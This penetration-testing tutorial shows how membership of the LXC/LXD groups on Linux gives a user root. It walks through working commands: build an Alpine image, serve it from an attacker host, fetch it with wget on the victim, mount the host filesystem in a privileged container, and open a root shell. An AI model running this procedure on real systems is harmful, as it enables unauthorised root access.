Linux Privilege Escalation – Exploiting the LXC/LXD Groups
Introduction
LXC is the well-known and heavily tested low-level Linux container runtime. It is in active development since 2008 and has proven itself in critical production environments world-wide. LXD is a next generation system container manager. that offers a user experience similar to virtual machines but using Linux containers instead.
The LXC/LXD groups are used to allow users to create and manage Linux containers. These can be exploited by creating a root-level privilege container from the current file system and interacting with it, executing /bin/sh and therefore starting a root shell.
Identifying the Vulnerability
The common ways to find the current user’s groups such as the “groups” command can be used to identify whether this vulnerability exists on the target host:
Automated enumeration tools such as LinPEAS can also be used to identify the current user’s groups:
In this specific case, the LXD group is assigned, meaning the current user has access to create system containers as root.
Exploitation
The easiest way to exploit this misconfiguration is to build an image of Alpine, a lightweight Linux distribution, and start it using the security.privileged=true flag, forcing the container to interact as root with the host filesystem and therefore allowing to read/write/execute root-level files.
The first step is to clone and install the following GitHub repository on the Kali host, which is an image of Alpine Linux specifically designed for LXC/LXD containers:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder/
sudo ./build-alpine
If during this the build an error comes up, that could mean the mirrors used are not valid. Simply edit the rootfs/usr/share/alpine-mirrors/MIRRORS.txt file and remove all of the mirrors apart from the first one:
The next step is to transfer the image in .tar.gz format to the target host, this can be done using the Python Simple HTTP Server on the Kali host and Wget on the victim host, or one of the techniques outlined in this cheat sheet.
#Setup HTTP server to host the image
sudo python -m SimpleHTTPServer 80
#Download the image remotely using Wget
wget http://X.X.X.X/alpine-vX.XX-1686-XXXXXXXX_XXXX.tar.gz
The next step is to import the image using the LXC command-line tool. It’s important doing this from YOUR HOME directory on the victim machine, or it might fail.
lxc image import ./alpine.tar.gz --alias myimage
As suggested by LXC, before actually using the image it should be initialized and its storage pool should be configured. The default selections will work just fine:
lxd init
The image can then be run using the run the security.privileged flag set to true, which will grant the current user unconditioned root access to it:
lxc init myimage mycontainer -c security.privileged=true
The next step is to mount the root folder the container, under /mnt/root:
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
The last thing to do is to start the container and to use the “exec” lxc command to execute a command from it, in this case an sh shell:
lxc start mycontainer
lxc exec mycontainer /bin/sh
This has granted a root-privilege shell on the target system.
Alternatively, this automated exploit can do the heavy lifting: https://github.com/initstring/lxd_root.
Conclusion
The LXC and LXD groups in Linux are necessary for users whose day-to-day tasks involve creating and managing containers, although for all other users they should never be assigned, as they could pose a huge threat and allow attackers to escalate privileges to root.
Most enumeration scripts will be able to easily pick up on this misconfiguration and let attackers know of this possible exploit.